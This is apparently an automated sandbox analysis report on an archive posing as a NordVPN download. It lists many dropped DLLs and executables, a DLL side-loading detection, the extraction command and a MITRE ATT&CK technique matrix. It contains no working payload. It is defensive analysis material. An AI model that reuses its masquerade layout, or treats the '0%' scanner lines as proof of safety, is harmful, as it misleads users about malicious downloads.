Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\PRM.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\MXF_SDK_GenericContainer_SystemScheme1_4.5.16_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\ESM_SaveTextFile.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InterfaceChannel.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_config_mpa.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\GPUPerfAPIDX11-x64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_enc_pcm.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\fxplugins.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\Internet.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\libGLESv2.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\CopyImage.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_mux_dv.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\PRM.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_trans_audio_converter.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\msvcp120.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\WindowsAccessBridge.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\MXF_SDK_GenericContainer_AVI_4.5.16_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jp2native.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_dec_spic.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\ImageStitcher.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_config_mp4v.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\7z.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mfc100cht.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DirectX\wget.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DX8_MatrixInterpolateSet.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_trans_audio_converter.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\deploy.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\j2pcsc.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_dec_spic.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\JAWTAccessBridge.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\glass.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\fontmanager.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_config_mp2v.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_config_mp2m.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\SAXParser.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jsound.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\j2pkcs11.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_demux_dv.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\ssv.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\MXF_SDK_GenericContainer_AES3_4.5.16_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\msvcr120.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\PlugPlugExternalObject.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jsdt.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\WinRAR.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\resource.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DL100AGM.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\Win32_Font.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jdwp.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\FileDialog.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\MXF_SDK_GenericContainer_SystemScheme1_4.5.16_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_config_pcm.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InstanceRefHash.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\GFSDK_ShadowLib.win64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jfxmedia.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_config_mpa.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\javafx_iio.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\MXF_SDK_GenericContainer_AVI_4.5.16_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_trans_video_framerate.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\msvcr100.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\kcms.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\JAWTAccessBridge-32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\MXF_SDK_GenericContainer_AES3_4.5.16_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\setup64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_dec_spic.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\adbeape.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mfc100chs.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\mc_mux_dv.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jaas_nt.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_enc_pcm.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\JavaAccessBridge-32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\MXF_SDK_Modules_DataIO_1.4.22_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\Surface.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\javacpl.cpl	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\XMLDOMObject.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_config_pcm.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\DX8_ImportObject.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mfc100cht.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\InterfaceCommand.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\InterfaceUnique.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\Image.Services.Core.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\VectorOperator.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\unpack.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\awt.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\MXF_SDK_GenericContainer_AES3_4.5.16_vs10.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_config_mp2m.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\eula.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\javafx_font_t2k.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\GUISkin.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_trans_video_framerate.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InstanceRefSphereTree.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\dt_shmem.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_trans_video_framerate.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_mux_dv.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\gstreamer-lite.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\java.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\javafx_font.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\DirectX\setup64.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\npt.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_enc_pcm.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\adbeape.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\JavaAccessBridge.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\DX8_Camera.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\verify.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\management.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\WindowsAccessBridge-32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\ObjectDataCommand.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\Object.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\ImageMetaData.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\wget.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\TextFilter.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\libGLESv2.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\hprof.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\InterfaceUnique.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\glib-lite.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jp2ssv.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\ImageStitcher.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l\data\AppInfo\data\mc_enc_mp2sr.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin\InstanceRefTree.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\w2k_lsa_auth.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\mc_demux_dv.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\MXF_SDK_GenericContainer_SystemScheme1_4.5.16_vs10.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\unarchiver.exe

Code function: 8_2_0108B1D6 GetSystemInfo,

8_2_0108B1D6

Source: C:\Windows\SysWOW64\7za.exe	File opened: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data	Jump to behavior
Source: C:\Windows\SysWOW64\7za.exe	File opened: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\bin	Jump to behavior
Source: C:\Windows\SysWOW64\7za.exe	File opened: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX	Jump to behavior
Source: C:\Windows\SysWOW64\7za.exe	File opened: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms	Jump to behavior
Source: C:\Windows\SysWOW64\7za.exe	File opened: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data	Jump to behavior
Source: C:\Windows\SysWOW64\7za.exe	File opened: C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

DLL side loading technique detected

Source: C:\Windows\SysWOW64\7za.exe	Section loaded: C:\Windows\SysWOW64\7z.dll			Jump to behavior
Source: C:\Windows\SysWOW64\7za.exe	Section loaded: C:\Windows\SysWOW64\7z.dll			Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\boe55dv2.gbx" "C:\Users\user\Downloads\NordVPN-10_11.zip			Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\wgjorgwf.g2l" "C:\Users\user\Downloads\NordVPN-7_8.zip			Jump to behavior

Source: WinRAR.exe.6.dr

Binary or memory string: p():tooltips_class32CMDWNDADDCMDWNDOTHERCMDWNDCONVERTCMDWNDFINDCMDWNDBENCH* %sHELPExecArcCmdDoneCMDMODETaskbarCreatedProgman%4d%%HELPCmdMode

Source: C:\Windows\SysWOW64\unarchiver.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	13 Masquerading	1 Input Capture	1 Process Discovery	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	Data Obfuscation	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	Security Account Manager	3 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	12 Process Injection	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 DLL Side-Loading	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Obfuscated Files or Information	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://vpn-get.com/nordvpn	0%	Virustotal		Browse
https://vpn-get.com/nordvpn	0%	Avira URL Cloud	safe

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DL100AGM.dll	0%	ReversingLabs
